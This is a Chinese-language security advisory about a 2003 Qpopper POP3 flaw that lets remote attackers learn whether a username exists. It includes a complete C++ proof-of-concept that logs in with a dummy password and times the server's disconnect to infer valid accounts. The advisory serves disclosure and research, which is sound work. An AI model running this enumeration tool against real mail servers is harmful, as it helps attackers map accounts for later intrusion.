首页 -> 安全研究

安全研究

安全漏洞
Qpopper验证阶段用户相关信息泄露漏洞

发布日期:2003-06-18
更新日期:2003-06-23

受影响系统:
Qualcomm qpopper 4.0.5 fc2
Qualcomm qpopper 4.0.5
Qualcomm qpopper 4.0.4
Qualcomm qpopper 3.1
Qualcomm qpopper 3.0.2
描述:
BUGTRAQ  ID: 7110

QPopper是一款由Qualcomm开发和维护免费开放源代码的POP3协议实现,可使用在多种Linux和Unix操作系统下。

QPopper在验证阶段对合法用户和非法用户应答处理不一样,远程攻击者可以利用这个漏洞判断用户是否存在。

当Qpopper在验证阶段,使用明文密码进行验证,对于合法用户的PASS命令应答存在一定差异。如果提供合法用户和错误密码,Qpopper会返回错误应答,并在关闭连接前会等待更多命令。但是如果提非法的用户名和密码,Qpopper会返回错误应答并直接断开。远程攻击者可以利用这个问题判断用户是否存在。

<*来源:Marc Lafortune (mlafortune@connectalk.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105596680932698&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

plasmahh 提供了如下测试程序:

/**
* $Author: plasmahh $
* $Date: 2003/03/11 15:01:45 $
*
* This is a proof of concept code to check wheter a given username is valid on
* a system running qpopper 4.0.4 and possibly other versions.
*
* Compile :
*
* g++ -Wall poptest.cpp -o poptest
* or
* g++ -D_DEBUG_ poptest.cpp -o poptest
* (to see whats going on)
*
* Run :
*
* ./poptest <hostname> <username>
*
* e.g.
*
* ./poptest 127.0.0.1 root
*
* When a username is valid on the system, qpopper waits ~10 seconds before it
* sends the sing off message to the user. If the username is not valid, it
* will send it immediately after the password is entered.
* If the username has a uid < 100 qpopper is even so nice to tell us.
*/

#include <iostream>
extern "C" {
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
}

using namespace std;

//#define _DEBUG_ 1

int main ( int argc, char * argv[])
{
  struct timeval tim1;
  struct timeval tim2;
  int sock;
  struct hostent *peerip;
  struct sockaddr_in peer;
  char * buf = new char[4096];


  if ( argc != 3 )
  {
      cerr << "Must give username and host" << endl;
      return -1;
  }

  
  sock = socket ( AF_INET, SOCK_STREAM, 0);

  peerip = gethostbyname ( argv[1] );

  if ( ! peerip )
  {
      cerr << "Hostname not valid" << endl;
      return -1;
  }
  cout << "Validating username " << argv[2] << " , please stand by.."  << endl;

  peer.sin_family = AF_INET;
  peer.sin_port = htons(110);
  peer.sin_addr = *((struct in_addr *) peerip->h_addr);
  memset(&(peer.sin_zero),0,8);



  if ( connect( sock, (sockaddr *) & peer, sizeof(struct sockaddr)) < 0)
  {
      cerr << "Could not connect !" << endl;
      return -1;
  }

  memset ( buf, 0, 4096 );
  read ( sock, buf, 4096 );
#ifdef _DEBUG_
  cout << "<- " << buf << endl;
#endif



  memset ( buf, 0, 4096 );
  snprintf ( buf, 4096, "USER %s\r\n", argv[2]);
  write ( sock, buf, strlen(buf) );
#ifdef _DEBUG_
  cout << "-> " << buf << endl;
#endif

  memset ( buf, 0, 4096 );
  read ( sock, buf, 4096 );
#ifdef _DEBUG_
  cout << "<- " << buf << endl;
#endif

  write ( sock, "PASS xxx\r\n", 11);
#ifdef _DEBUG_
  cout << "-> PASS xxx" << endl;
#endif

  memset ( buf, 0, 4096 );
  read ( sock, buf, 4096 );
#ifdef _DEBUG_
  cout << "<- " << buf << endl;
#endif

  if ( strstr( buf, "100") != NULL )
  {
      cout << "User has probably an UID < 100 and is a valid user." << endl;
      close(sock);
      return 0;
  }

  gettimeofday(&tim1,NULL);
  memset ( buf, 0, 4096 );
  read ( sock, buf, 4096 );
#ifdef _DEBUG_
  cout << "<- " << buf << endl;
#endif
  gettimeofday(&tim2,NULL);

  double s = (tim2.tv_sec - tim1.tv_sec);
  s += ((double)(tim2.tv_usec - tim1.tv_usec))/1000000.0;

  cout << "Disconnected after " << s << " seconds." << endl;

  if ( s > 1.0 )
  {
      cout << "User \"" << argv[2] << "\" is probably a valid user" << endl;
  }
  else
  {
      cout << "User \"" << argv[2] << "\" is probably NOT a valid user" << endl;
  }
  close(sock);
  return 0;

}

建议:
厂商补丁:

Qualcomm
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.eudora.com/freeware/qpop.html

浏览次数:2782
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障